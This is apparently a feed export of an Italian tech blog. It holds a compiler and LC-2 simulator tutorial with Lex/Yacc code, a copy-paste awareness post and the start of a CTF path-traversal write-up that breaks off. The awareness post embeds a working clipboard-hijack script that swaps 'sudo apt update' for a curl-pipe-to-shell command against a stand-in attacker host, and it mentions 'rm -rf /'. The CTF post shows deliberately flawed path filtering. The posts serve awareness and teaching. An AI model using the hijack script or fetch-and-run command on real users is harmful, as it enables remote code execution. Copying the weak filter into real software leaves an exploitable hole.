<p>Un esempio di HLL interpretato e non compilato è Python, linguaggio di scripting molto popolare ai giorni nostri, data la sua versatilità d’applicazione in molti campi dell’informatica e della scienza.</p>

<h2 id="sistema-di-processing-del-linguaggio">Sistema di processing del linguaggio</h2>

<p>La fase di traduzione, per il compilatore, si suddivide in <strong>4 parti</strong>:</p>

<ol>
  <li>Preprocessore</li>
  <li>Compilatore</li>
  <li>Assemblatore</li>
  <li>Loader/Linker</li>
</ol>

<center>
<img src="/assets/fasi-trad.png" />
</center>

<p>Prima di compilare il codice, viene eseguita una <strong>fase di precompilazione</strong>: vengono soddisfatte tutte le <strong>direttive del preprocessore</strong> esplicitate nel source code, come l’inclusione di file esterni, la processazione delle macro e la rimozione dei commenti (per queste operazioni viene adoperato un analizzatore lessicale). Il risultato di questa fase consiste in un <strong>codice HLL puro</strong>.<br />
Avviene poi la compilazione: il sorgente viene tradotto in codice macchina specifico per una determinata architettura hardware (chiamato “<strong>oggetto</strong>”, file con estensione .obj), controllando eventuali errori rispetto alla grammatica del linguaggio in questione. Successivamente, l’<strong>assembler</strong> genera il <strong>codice macchina rilocabile</strong>: ovvero, codice non dipendente da indirizzi statici di memoria. Viene poi assemblato con altre funzioni di libreria, o altri programmi, utilizzati dal programma tramite un <strong>linker</strong>, generando l’<strong>eseguibile</strong>.<br />
Infine, il programma, per poter essere eseguito, ha necessità di essere caricato in memoria di lavoro: è il <strong>loader</strong> ad occuparsi di questo processo. Linker e loader generano ciò che viene chiamato “<strong>codice macchina assoluto</strong>”.</p>

<h2 id="il-compilatore-architettura-interna">Il compilatore: architettura interna</h2>

<p>Ci sono due fasi fondamentali nella compilazione: <strong>analisi</strong> e <strong>sintesi</strong>.</p>

<p>Durante la fase di <strong>analisi</strong> viene eseguita l’analisi <strong>lessicale</strong>, <strong>sintattica</strong> e <strong>semantica</strong>; nella fase di sintesi avviene la generazione del codice intermedio, l’ottimizzazione del codice e, infine, la generazione del codice macchina. Le varie fasi verranno analizzate nel dettaglio in seguito.</p>

<center>
<img src="/assets/syn-ana.webp" />
</center>

<h3 id="rappresentazione-alternativa">Rappresentazione alternativa</h3>
<p>I diversi stadi possono anche essere logicamente raggruppati in maniera più pragmatica, ovvero, <strong>front-end</strong> e <strong>back-end</strong>: questi suddividono le fasi <strong>slegate</strong> dall’architettura del calcolatore di destinazione (front-end) da quelle che eseguono operazioni specifiche della macchina target (back-end). Ciò permette il riutilizzo della medesima parte di front-end con back-end differenti (<strong>cross compilazione</strong>).</p>
<center>
<img src="/assets/frontback.jpg" />
</center>

<h2 id="struttura-interna-del-compilatore">Struttura interna del compilatore</h2>

<p>Il compilatore è composto da:</p>

<ol>
  <li><strong>Analisi Lessicale</strong></li>
  <li><strong>Analisi Sintattica</strong></li>
  <li><strong>Analisi Semantica</strong></li>
  <li><strong>Generazione del Codice Intermedio</strong></li>
  <li><strong>Ottimizzazione del Codice</strong></li>
  <li><strong>Generazione del Codice Macchina</strong></li>
</ol>

<p>Spiegherò nel dettaglio le fasi <strong>front-end</strong>, descrivendo in modo pratico come le ho realizzate nel mio progetto.</p>

<center>
<img src="/assets/analisi-sintesi.png" />
</center>

<h3 id="symbol-table-e-error-handler">Symbol Table e Error Handler</h3>

<p>All’interno del compilatore abbiamo anche altri due fondamentali componenti: la <strong>tabella dei simboli</strong> (Symbol Table) e l’<strong>Error Handler</strong>.
<br />
La Symbol Table serve ad immagazzinare le informazioni raccolte durante la fase di <strong>analisi</strong>, per essere poi utilizzate nella fase di <strong>sintesi</strong>. L’Error Handler gestisce eventuali <strong>errori</strong> durante tutte le fasi.</p>

<h3 id="simulatore-assembly-lc-2">Simulatore Assembly LC-2</h3>

<p>Essendo un <strong>simulatore</strong> di architettura, la parte back-end non è stata implementata allo stesso modo di un normale compilatore. Difatti, dopo la fase di analisi semantica, ho emulato l’esecuzione delle singole istruzioni e i loro effetti sui registri del processore e la memoria di lavoro. Vorrei sottolineare inoltre che il linguaggio che sto emulando non è strutturato, quindi la mia implementazione risulterà differente da altri linguaggi strutturati.</p>

<h1 id="analisi-lessicale">Analisi Lessicale</h1>

<p>L’<strong>analizzatore lessicale</strong>: legge Il codice HLL puro carattere per carattere ricevendo in input i <strong>lessemi</strong>, ovvero i caratteri letti, e produce come output i <strong>token</strong>, ovvero gli elementi minimi di un linguaggio. <br />
Inserisce le prime entry nella <strong>Symbol Table</strong> e inoltra i lessemi all’analizzatore della sintassi.</p>

<center>
<img src="/assets/lex.png" />
</center>

<p>Si può dividere in due fasi:</p>

<ul>
  <li>fase di Scanning, in cui elementi non-token vengono scartati, come ad esempio i commenti o gli spazi.</li>
  <li>fase di Analyzing, in cui i lessemi vengono associati ai relativi token.</li>
</ul>

<p>Per la realizzazione dell’analizzatore lessicale vengono impiegate delle <strong>macchine a stati finiti</strong>. Ad ogni token viene associata una <strong>macchina a stati finiti deterministica</strong> (MSFD) che permette di generarlo tramite l’analisi dei lessemi.</p>

<h2 id="lex">Lex</h2>

<p>Lex è un tool per la generazione di <strong>analizzatori lessicali</strong>. Tramite la descrizione di specifiche permette di generare un programma scritto in C che ne implementa il funzionamento. Vengono impiegate le <strong>espressioni regolari</strong> (regex) per l’individuazione dei token. Il linguaggio Lex prevede:</p>

<ul>
  <li><strong>Parte dichiarativa</strong>: con variabili costanti e espressioni regolari.</li>
  <li><strong>Regole di traduzione</strong>: che consistono in una espressione regolare ed una azione associata che l’analizzatore deve compiere nel momento che il pattern regolare è riconosciuto.</li>
  <li><strong>Procedure ausiliarie</strong>: procedure richieste dalle azioni.</li>
</ul>

<pre><code class="language-C">

%{
int countline=1;
#include "y.tab.h"
#include "tree.h"
#define TABLE strcpy(yylval.nd_obj.name,(yytext));
%}

%option yylineno

%%

//Regex                                          tokens restituiti


(?i:"RET"|"RTI")                                {TABLE return RETS;} 
(?i:"LD"|"LDI"|"LEA"|"ST"|"STI")                {TABLE return LDST;}
(?i:"NOT")                                      {TABLE  return NOT;}
(?i:"ADD"|"AND")                                {TABLE  return IMOP;}
(?i:"LDR"|"STR")                                {TABLE  return BSOP;}
(?i:"TRAP")                                     {TABLE  return TRAP;}
(?i:"r")[0-7]                                   {TABLE  return REGISTER;}
(?i:"br")(?i:"z"|"n"|"p")                       {TABLE  return JUMP;}
(?i:"brn")(?i:"z"|"p")                          {TABLE  return JUMP;}
(?i:"brzp")                                     {TABLE  return JUMP;}
(?i:"brnzp")                                    {TABLE  return JUMP;}
(?I:"JSR")                                      {TABLE  return JSR;}
(?I:"JSRR")                                     {TABLE  return JSRR;}
"."(?i:"orig")                                  {TABLE  return ORIG;}
"."(?i:"end")                                   {TABLE  return END;}
"."(?i:"blkw")                                  {TABLE  return BLKW;}
"."(?i:"fill")                                  {TABLE  return FILL;}
"."(?i:"stringz")                               {TABLE  return STRINGZ;}
(?i:"b")[0-1]{16}                               {TABLE  return BINARY;}
"x"[0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F] {TABLE  return ADDR;}
";".*                                           { ; }
[ \t]*                                          { ; }
[\n]                                            countline++;
"#"[-]?[0-9]                                    {TABLE  return NUMBERS;}
"#"[-]?[1][0-5]                                 {TABLE  return NUMBERS;}
[-]?[0-9]*                                      {TABLE  return NUM;}
[a-zA-Z_][a-zA-Z0-9_]*                          {TABLE  return LABEL;}
["].*["]                                        {TABLE  return STR;} 
","                                             {TABLE  return COMMA;}
&lt;&lt;EOF&gt;&gt;                                         {TABLE  return EOFF;}
.                                               { ; }

%%

</code></pre>

<h1 id="analisi-sintattica">Analisi Sintattica</h1>

<p>L’analisi sintattica è il processo di costruzione di una frase rispetto ad una determinata <strong>grammatica</strong>. Utilizza i token individuati dall’analizzatore lessicale per eseguire un controllo sintattico attraverso una <strong>Context Free Grammar</strong> (CFG). Il risultato di questa fase è un albero sintattico chiamato <strong>parse tree</strong>. Il programma che svolge questo compito è l’analizzatore della sintassi, anche chiamato <strong>parser</strong>.</p>

<h2 id="grammatica-di-un-linguaggio">Grammatica di un linguaggio</h2>

<p>La grammatica è un’importante sottoclasse dei <strong>sistemi generativi</strong>, ovvero algoritmi per definire l’appartenenza di una parola ad un linguaggio. Consiste nell’insieme delle <strong>regole sintattiche</strong> di un linguaggio ed è descritta da una quartupla <strong>G</strong> = (<strong>N</strong>, <strong>Σ</strong>, <strong>R</strong>, <strong>S</strong>):</p>

<ul>
  <li><strong>N</strong> insieme dei simboli non terminali, o metasimboli, cioè che non possono comparire negli enunciati del linguaggio</li>
  <li><strong>Σ</strong> alfabeto del linguaggio costituito da simboli terminali.</li>
  <li><strong>R</strong> insieme finito delle regole di produzione.</li>
  <li><strong>S</strong> simbolo non terminale speciale, S ∈ N ed è il punto di partenza che denota un enunciato valido.</li>
</ul>

<h2 id="tecniche-di-generazione-del-parse-tree">Tecniche di generazione del parse tree</h2>

<p>In relazione a come viene creato il parse tree,ci sono differenti tecniche, che possono essere divise in due gruppi:</p>

<h3 id="top-down-parsing">Top-Down Parsing</h3>

<p>Analisi sintattica discendente, viene anche definita “<strong>predittiva</strong>”, dato che la costruzione del parse tree inizia dalla radice e procede verso le foglie.</p>

<center>
<img src="/assets/grammar.png" heigth="50%" width="50%" />
</center>
<center>
<img src="/assets/topdown.png" heigth="70%" width="70%" />
</center>

<p><br />
Un problema che può accedere in questi tipi di analisi sintattica è di dover tornare su una decisione presa perchè non porta al risultato, questo fenomeno è chiamato <strong>backtracking</strong>.</p>

<blockquote>
  <p><strong>backtracking</strong>: la tecnica che prevede di enumerare tutte le soluzioni possibili in ricerca di quella che soddisfa i vincoli.</p>
</blockquote>

<p>Esempi di Parser che cercano di evitare il backtracking sono: <strong>Predictive Parsers</strong> e <strong>Recursive Descent Parsers</strong>.</p>

<h3 id="bottom-up-parsing">Bottom-Up Parsing</h3>

<p>Analisi sintattica ascendente, viene anche definita “<strong>shift-reduce parsing</strong>” dato che la costruzione del parse tree inizia dalle foglie e procede verso la radice.</p>

<h4 id="shift-reduce-parsing">Shift-reduce parsing</h4>

<p>La costruzione del <strong>parse tree</strong> inizia dalle foglie e procede verso la radice, si parte dalla stringa <strong>target</strong> e si procede a ritroso per riduzioni verso il simbolo iniziale. Ad ogni <strong>riduzione</strong> una particolare sottostringa che fa match con la parte destra di una produzione è rimpiazzata dal simbolo sinistro della produzione. L’algoritmo di parsing più famoso di questa categoria è l’<strong>LR</strong> (left to right scanning of the input, rightmost reduction).</p>

<h2 id="yacc">Yacc</h2>

<p>Yacc è un programma che permette di generare un <strong>parser</strong> in C tramite delle regole di derivazione descritte nel suo linguaggio. Appartiene alla categoria LR, più nello specifico è un parser <strong>LALR</strong>. La notazione utilizzata per le regole di produzione, ovvero le regole della grammatica, è simile alla <strong>Backus-Naur form</strong>. Inoltre riceve come input i lessemi verificati da <strong>Lex</strong>.</p>

<pre><code class="language-C">//struttura file yacc
{declarations}
%%
{rules}
%%
{subroutines}
</code></pre>

<p>Di seguito le regole di produzione del mio progetto:</p>

<pre><code class="language-C">%{
 
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include "tree.h"

extern int yylex();
extern struct node *head;
extern int yywrap();
extern void add(),yyerror();


int countn=1,count=0,last=0,errors=0;

%}

%union { 
    struct var_name { 
        char name[100]; 
        struct node* nd;
    } nd_obj; 
}


%token &lt;nd_obj&gt; REGISTER RETS LDST EOFF NOT LABEL NUMBERS ORIG COMMENT JUMP COMMA ADDR END BLKW STRINGZ BINARY NUM FILL STR JSR JSRR IMOP BSOP TRAP
%type &lt;nd_obj&gt; program orig lines end endb code ldst ldstb imop imopb bsop ret jump jumpb directive dirb jsr not trap codeb 
%start program

%%

program :   orig lines end  {
        $2.nd=mknode($2.nd, $3.nd,"code"); 
        $$.nd=mknode($1.nd, $2.nd,"program"); 
        head = $$.nd;   
        printf("Analysis completed...\n");
        last=1;
        }
        ;

end     : endb EOFF { $$.nd = mknode($1.nd, NULL, "end"); }
        ;

endb    :   END  {
         add('D');
         $$.nd = mknode(NULL, NULL, "endchar"); 
         }
        ;

orig    :   ORIG  {add('D');} ADDR  {add('V');countn++;
          $$.nd=mknode(NULL, NULL, "orig");
         }
        ;

lines   :   code        {countn++; $1.nd=mknode($1.nd, NULL, "line"); } 
        |   lines code  {countn++; $$.nd=mknode($1.nd,$2.nd,"lines");}
        ;

code    :   ldst                {$$.nd=mknode(NULL,$1.nd,"ldst");}
        |   imop                {$$.nd=mknode(NULL,$1.nd,"imop");}
        |   bsop                {$$.nd=mknode(NULL,$1.nd,"bsop");}
        |   ret                 {$$.nd=mknode(NULL,$1.nd,"ret");}
        |   jump                {$$.nd=mknode(NULL,$1.nd,"jump");}
        |   directive           {$$.nd=mknode(NULL,$1.nd,"directive");} 
        |   jsr                 {$$.nd=mknode(NULL,$1.nd,"jsr");}
        |   not                 {$$.nd=mknode(NULL,$1.nd,"not");}
        |   trap                {$$.nd=mknode(NULL,$1.nd,"trap");}
        |   codeb ldst          {$$.nd=mknode(NULL,$2.nd,"c-ldst");}
        |   codeb imop          {$$.nd=mknode($1.nd,$2.nd,"c-imop");}
        |   codeb bsop          {$$.nd=mknode($1.nd,$2.nd,"c-bsop");}
        |   codeb ret           {$$.nd=mknode($1.nd,$2.nd,"c-ret");}
        |   codeb jump          {$$.nd=mknode($1.nd,$2.nd,"c-jump");}
        |   codeb directive     {$$.nd=mknode($1.nd,$2.nd,"c-directive");}
        |   codeb jsr           {$$.nd=mknode($1.nd,$2.nd,"c-jsr");}
        |   codeb not           {$$.nd=mknode($1.nd,$2.nd,"c-not");}
        |   codeb trap          {$$.nd=mknode($1.nd,$2.nd,"c-trap");}
        ;

codeb   :   LABEL {add('L'); $$.nd=mknode(NULL,NULL,"label");}
        ;

imop    :   imopb COMMA REGISTER { 
          add('R'); 
          $2.nd=mknode(NULL,NULL,"operands");
          $$.nd=mknode($1.nd,$2.nd,"op");
          } 
        |   imopb COMMA NUMBERS { 
          add('V'); 
          $2.nd=mknode(NULL,NULL,"operands");
          $$.nd=mknode($1.nd,$2.nd,"op");
        }
        |   imopb COMMA BINARY { 
          add('V'); 
          $2.nd=mknode(NULL,NULL,"operands");
          $$.nd=mknode($1.nd,$2.nd,"op");
        }
        |   imopb COMMA ADDR { 
          add('V'); 
          $2.nd=mknode(NULL,NULL,"operands");
          $$.nd=mknode($1.nd,$2.nd,"op");
        }
        ;

imopb   : IMOP  { add('O'); } REGISTER  { add('R'); } COMMA REGISTER  { 
          add('R'); 
          $$.nd=mknode(NULL,NULL,"op");
          }
        ;

    
bsop    :   BSOP  {add('O');} REGISTER  {add('R');} COMMA REGISTER {add('R');}  COMMA NUMBERS {
          add('V');
          $$.nd=mknode(NULL,NULL,"op");
          }
        ;


ldst    :   ldstb COMMA ADDR {
          add('V');
          $2.nd=mknode(NULL,NULL,"operands");
          $$.nd=mknode($1.nd,$2.nd,"op");
          }
        |   ldstb COMMA LABEL {
          add('L');
          $2.nd=mknode(NULL,NULL,"operands");
          $$.nd=mknode($1.nd,$2.nd,"op");
          }
        ;

ldstb   :   LDST  {add('O');} REGISTER {add('R'); $$.nd=mknode(NULL,NULL,"op");} 
        ;

not     :   NOT  {add('O');} REGISTER {add('R');} COMMA REGISTER {
          add('R');
          $$.nd=mknode(NULL,NULL,"op");
          }
        ;

jump    :   jumpb ADDR {add('V'); $$.nd=mknode($1.nd,NULL,"op");}
        |   jumpb LABEL {add('L'); $$.nd=mknode($1.nd,NULL,"op");}
        ;

jumpb   :   JUMP {add('J');  $$.nd = mknode(NULL, NULL, $1.name);}
        ;

directive : dirb ADDR  {add('V'); $$.nd=mknode($1.nd,NULL,"op");}
          | dirb NUM  {add('V'); $$.nd=mknode($1.nd,NULL,"op");if(atoi($2.name)&gt;32767){yyerror("Constraints error");}}
          | dirb BINARY  {add('V'); $$.nd=mknode($1.nd,NULL,"op"); int i;for(i=0;$2.name[i]!='\0';i++);if(i!=17){yyerror("Syntax error");}}
          | dirb LABEL  {add('L'); $$.nd=mknode($1.nd,NULL,"op");}
          | BLKW {add('D');} NUM  {add('V'); $$.nd=mknode(NULL,NULL,"op");}
          | STRINGZ {add('D');} STR {add('S'); $$.nd=mknode(NULL,NULL,"op");}
          | endb {$$.nd=mknode($1.nd,NULL,"op");}
          ;

dirb      : FILL {add('D'); $$.nd = mknode(NULL, NULL, "fill");}
          ;


trap    :  TRAP {add('O');} ADDR {add('V'); $$.nd = mknode(NULL, NULL, "trap");}
        ;

ret     :  RETS {add('O'); $$.nd = mknode(NULL, NULL, $1.name);}
        ;

jsr     :   JSR  {add('O');} LABEL {add('L'); $$.nd = mknode(NULL, NULL, "jsr");}
        |   JSRR  {add('O');} REGISTER  {add('R');} COMMA ADDR {add('V'); $$.nd = mknode(NULL, NULL, $1.name);}
        ;

%%
void yyerror(const char* msg) {
        if(!last){
                fprintf(stderr, "%s at line %d code line %d\n\"%s\" \n", msg,countline,countn,yytext);
                last=0,errors=1;
        }  
}
</code></pre>

<p>Oltre che alla generazione del parse tree, gestisco gli errori tramite la funzione <strong>yyerror</strong>, chiamata automaticamente dal parser in caso di errori di sintassi. Popolo inoltre la <strong>Symbol Table</strong>.</p>

<h1 id="analisi-semantica">Analisi Semantica</h1>

<p>Si occupa di controllare il significato delle istruzioni presenti nel codice di input. Alcuni esempi, nel linguaggio C, sono: check di variabili non dichiarate, type checking e controllo dei limiti degli array. L’analisi semantica integra l’analisi sintattica o traduce alberi sintattici in strutture utili alle elaborazioni successive, sfrutta le informazioni presenti nella tabella dei simboli e i relativi attributi.
<br /></p>

<p>Alcuni esempi di controlli semantici presenti nel mio progetto:</p>

<pre><code class="language-C">directive : dirb ADDR  {add('V'); $$.nd=mknode($1.nd,NULL,"op");}


            //semantic check
          | dirb NUM  {
            add('V'); 
            $$.nd=mknode($1.nd,NULL,"op");
            if(atoi($2.name)&gt;32767){
                yyerror("Semantic error");
                }
            }
            //semantic check
          | dirb BINARY  {
            add('V'); 
            $$.nd=mknode($1.nd,NULL,"op"); 
            int i;
            for(i=0;$2.name[i]!='\0';i++);
            if(i!=17){
                yyerror("Semantic error");
                }
            }


          | dirb LABEL  {add('L'); $$.nd=mknode($1.nd,NULL,"op");}
          | BLKW {add('D');} NUM  {add('V'); $$.nd=mknode(NULL,NULL,"op");}
          | STRINGZ {add('D');} STR {add('S'); $$.nd=mknode(NULL,NULL,"op");}
          | endb {$$.nd=mknode($1.nd,NULL,"op");}
          ;
</code></pre>

<h1 id="generazione-del-codice-intermedio">Generazione del codice intermedio</h1>

<p>Il Parse Tree verificato semanticamente viene dato in input al <strong>generatore di codice intermedio</strong>, che produrrà come output il <strong>codice intermedio</strong>. Un esempio di <strong>rappresentazione intermedia</strong> è: “<strong>Three-address code</strong>” (TAC o 3AC), un codice di basso livello simile al linguaggio macchina. Ogni istruzione nella forma 3AC può essere descritta dalla quadrupla (operatore, operando1, operando2, risultato), nella forma y = x op z.</p>

<h2 id="la-simulazione">La simulazione</h2>

<p>Siccome il mio progetto non è di un compilatore bensì di un <strong>simulatore</strong>, eseguo una fase di <strong>simulazione</strong> in cui viene emulato il funzionamento dell’architettura LC-2, su cui viene eseguito il programma (il codice di questa parte si trova nel file <a href="https://github.com/mperf/LC-2-simulator/blob/main/exec.c">exec.c</a>). La symbol table viene modificata per addattarsi ad una generazione del codice intermedio con un ordinamento degli elementi e la duplicazione dei lessemi per avere il codice completo.</p>

<h2 id="symbol-table-finale">Symbol Table finale</h2>

<p>Di seguito riporto un esempio di Symbol Table del mio programma (modificata per essere ordinata e con elementi duplicati, la vera symbol table non dovrebbe contenere due lessemi uguali) a seguito del processo di <strong>Analisi</strong> con tutte le informazioni necessarie alle prossime fasi.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
			 SYMBOL TABLE 


VALUE					TOKEN_TYPE   	LINE NUMBER
_________________________________________________________________________

.ORIG            		directive		 1		
X3000            		   value		 1		
LEA              		  opcode		 2		
R0               		register		 2		
ARRAY            		   label		 2		
AND              		  opcode		 3		
R2               		register		 3		
R2               		register		 3		
#0               		   value		 3		
CICLO            		   label		 4		
LDR              		  opcode		 4		
R1               		register		 4		
R0               		register		 4		
#0               		   value		 4		
BRZ              		    jump		 5		
FINE             		   label		 5		
ADD              		  opcode		 6		
R2               		register		 6		
R1               		register		 6		
R2               		register		 6		
ADD              		  opcode		 7		
R0               		register		 7		
R0               		register		 7		
#1               		   value		 7		
BRNZP            		    jump		 8		
CICLO            		   label		 8		
FINE             		   label		 9		
ST               		  opcode		 9		
R2               		register		 9		
RESULT           		   label		 9		
STOQUI           		   label		10		
BRNZP            		    jump		10		
STOQUI           		   label		10		
ARRAY            		   label		11		
.FILL            		directive		11		
15               		   value		11		
.FILL            		directive		12		
-27              		   value		12		
.FILL            		directive		13		
13               		   value		13		
.FILL            		directive		14		
15               		   value		14		
.FILL            		directive		15		
0                		   value		15		
RESULT           		   label		16		
.BLKW            		directive		16		
1                		   value		16		
.END             		directive		17		
		

</code></pre></div></div>

<h1 id="conclusioni">Conclusioni</h1>

<p>In questo paper è stato discusso lo scopo, il funzionamento e le fasi di un traduttore di linguaggio: il <strong>compilatore</strong>. Sono state approfondite le fasi principali della compilazione, mostrando il mio progetto di simulatore di Assembly LC2.</p>

<h1 id="informazioni-utili">Informazioni utili</h1>

<ul>
  <li>Serie su YouTube <a href="https://youtube.com/playlist?list=PLBlnK6fEyqRjT3oJxFXRgjPNzeS-LFY-q">Compiler Design</a></li>
  <li><a href="https://github.com/mperf/LC-2-simulator">Simulatore di Assembly LC-2</a></li>
  <li><a href="https://youtube.com/playlist?list=PLkB3phqR3X43IRqPT0t1iBfmT5bvn198Z">Lex</a> e <a href="https://youtube.com/playlist?list=PLXMBJ899tuoo3Zx28hLFGbn_aWG8jV3Ey">Yacc</a></li>
  <li><a href="https://www.cs.utexas.edu/users/fussell/cs310h/simulator/lc2.pdf">LC-2</a></li>
</ul>]]></content><author><name>Perf</name></author><category term="projects" /><category term="ita" /><category term="coding" /><category term="compiler" /><category term="compiler design" /><category term="code" /><category term="stackoverflow" /><category term="design" /><category term="formal" /><category term="languages" /><category term="formal languages" /><category term="c" /><category term="project" /><category term="lex" /><category term="yacc" /><category term="lexer" /><category term="lexical" /><category term="analysis" /><category term="lexical analysis" /><category term="syntax" /><category term="syntax analysis" /><category term="semantic" /><category term="semantic analysis" /><category term="Little Computer 2" /><category term="LC-2" /><category term="lc2" /><category term="unimi" /><category term="statale di Milano" /><summary type="html"><![CDATA[Il compilatore è un software che permette di tradurre un codice scritto in HLL (High Level Language) in linguaggio macchina. Consente l’effettiva esecuzione dei programmi da parte del calcolatore. Ma come funziona? Di seguito illustrerò da cosa è composto (per il linguaggio C) e il suo funzionamento, esponendo inoltre un mio progetto di simulatore di assembly LC-2 (Little Computer 2).]]></summary></entry><entry><title type="html">Non copiare mai codice online! (ITA)</title><link href="https://mattiaperfumo.it/non-copiare-mai-codice-online-ita/" rel="alternate" type="text/html" title="Non copiare mai codice online! (ITA)" /><published>2022-07-30T10:00:58+00:00</published><updated>2022-07-30T10:00:58+00:00</updated><id>https://mattiaperfumo.it/non-copiare-mai-codice-online-ita</id><content type="html" xml:base="https://mattiaperfumo.it/non-copiare-mai-codice-online-ita/"><![CDATA[<p>Programmatori, amministratori di sistema ed esperti nel settore informatico copiano e incollano centinaia e centinaia di righe di codice nei loro programmi o, ancora peggio, nella loro shell.</p>

<hr />

<p>Recentemente, Gabriel Friedlander, Founder di una piattaforma di cybersecurity awareness, ha dimostrato che un ovvio (ma sorprendente) trucco ti farà pensare due volte prima di copiare e incollare codice da internet.</p>

<h1 id="copia-questo-comando">Copia questo comando:</h1>

<p><span id="copy"><code> sudo apt update </code></span><br />
<script>
document.getElementById('copy').addEventListener('copy', function(e) { e.clipboardData.setData('text/plain', 'curl http://attacker-domain:8000/shell.sh | sh\ncome puoi notare sono pure andato a capo, quindi nella tua shell avrei inviato automaticamente questo comando'); e.preventDefault(); });
</script></p>

<p><br /></p>
<textarea style="height: 100px; min-height: 100px; width: 730px; min-width: 500px; resize: none;" cols="30" name="textarea" rows="5" placeholder="Incolla qui:"></textarea>
<p><br /><br />
Tutto ciò è spaventoso e molto pericoloso, dato che anche i più esperti del settore cadrebbero in questo tranello.</p>

<h1 id="ma-come-funziona">Ma come funziona?</h1>

<h2 id="il-codice">Il codice</h2>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="o">&lt;</span><span class="nx">script</span><span class="o">&gt;</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="err">‘</span><span class="nx">copy</span><span class="err">’</span><span class="p">).</span><span class="nx">addEventListener</span><span class="p">(</span><span class="err">‘</span><span class="nx">copy</span><span class="err">’</span><span class="p">,</span> <span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span> 
    <span class="nx">e</span><span class="p">.</span><span class="nx">clipboardData</span><span class="p">.</span><span class="nx">setData</span><span class="p">(</span><span class="err">‘</span><span class="nx">text</span><span class="o">/</span><span class="nx">plain</span><span class="err">’</span><span class="p">,</span> <span class="err">‘</span><span class="nx">curl</span> <span class="nx">http</span><span class="p">:</span><span class="c1">//attacker-domain:8000/shell.sh | sh\n’); e.preventDefault(); });</span>
 <span class="o">&lt;</span><span class="sr">/script</span><span class="err">&gt;
</span>
</code></pre></div></div>

<p>Questo trucco è ancora molto poco conosciuto, quindi ti invito a condividerlo il più possibile per evitare che i tuoi amici o colleghi eseguano rm -rf / nei loro dispositivi 🙂</p>]]></content><author><name>Perf</name></author><category term="hacking" /><category term="ita" /><category term="hacking" /><category term="shell" /><category term="reverse shell" /><category term="code" /><category term="stackoverflow" /><summary type="html"><![CDATA[Programmatori, amministratori di sistema ed esperti nel settore informatico copiano e incollano centinaia e centinaia di righe di codice nei loro programmi o, ancora peggio, nella loro shell.]]></summary></entry><entry><title type="html">Path Traversal Challenge</title><link href="https://mattiaperfumo.it/path-traversal-challenge/" rel="alternate" type="text/html" title="Path Traversal Challenge" /><published>2022-03-09T16:16:58+00:00</published><updated>2022-03-09T16:16:58+00:00</updated><id>https://mattiaperfumo.it/path-traversal-challenge</id><content type="html" xml:base="https://mattiaperfumo.it/path-traversal-challenge/"><![CDATA[<p>In this article I will show you a basic “path traversal” vulnerability I’ve found in a CTF challenge.</p>

<h2 id="description">Description</h2>

<p><strong><em>A simple website that allows you to choose between light, dark and … nah, just these two. P.s. PHP version 4</em></strong></p>

<hr />

<h1 id="the-code">The code</h1>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="cp">&lt;?php</span>

<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"tema"</span><span class="p">]))</span> <span class="nv">$path</span> <span class="o">=</span> <span class="s2">"light.css"</span><span class="p">;</span>  <span class="c1">// Default</span>
<span class="k">else</span> <span class="p">{</span>
    <span class="nv">$path</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"tema"</span><span class="p">];</span>
    <span class="k">if</span> <span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s2">"/..\//"</span><span class="p">,</span> <span class="nv">$path</span><span class="p">))</span> <span class="p">{</span> 
        <span class="nv">$path</span> <span class="o">=</span> <span class="nb">str_replace</span><span class="p">(</span><span class="s1">'../'</span><span class="p">,</span> <span class="s1">'./'</span> <span class="p">,</span> <span class="nv">$path</span><span class="p">);</span>
        <span class="nv">$error</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
        <span class="nv">$arr</span> <span class="o">=</span> <span class="nb">explode</span><span class="p">(</span><span class="s2">"."</span><span class="p">,</span> <span class="nv">$path</span><span class="p">);</span>
        <span class="nv">$estensione</span> <span class="o">=</span> <span class="nv">$arr</span><span class="p">[</span><span class="nb">count</span><span class="p">(</span><span class="nv">$arr</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">];</span>

        <span class="k">if</span><span class="p">(</span><span class="nv">$estensione</span> <span class="o">!=</span> <span class="s2">"css"</span><span class="p">){</span>
            <span class="nv">$error</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
            <span class="nv">$path</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nv">$path</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">3</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">"css"</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="nv">$css</span> <span class="o">=</span> <span class="s2">"static/css/"</span> <span class="mf">.</span> <span class="nv">$path</span><span class="p">;</span>

<span class="cp">?&gt;</span>


<span class="nt">&lt;html&gt;</span>
  <span class="nt">&lt;head&gt;</span>
    <span class="nt">&lt;meta</span> <span class="na">charset=</span><span class="s">"utf-8"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;meta</span> <span class="na">name=</span><span class="s">"viewport"</span> <span class="na">content=</span><span class="s">"width=device-width, initial-scale=1, shrink-to-fit=no"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;title&gt;</span>L/D<span class="nt">&lt;/title&gt;</span>

    <span class="c">&lt;!-- Bootstrap CSS --&gt;</span>
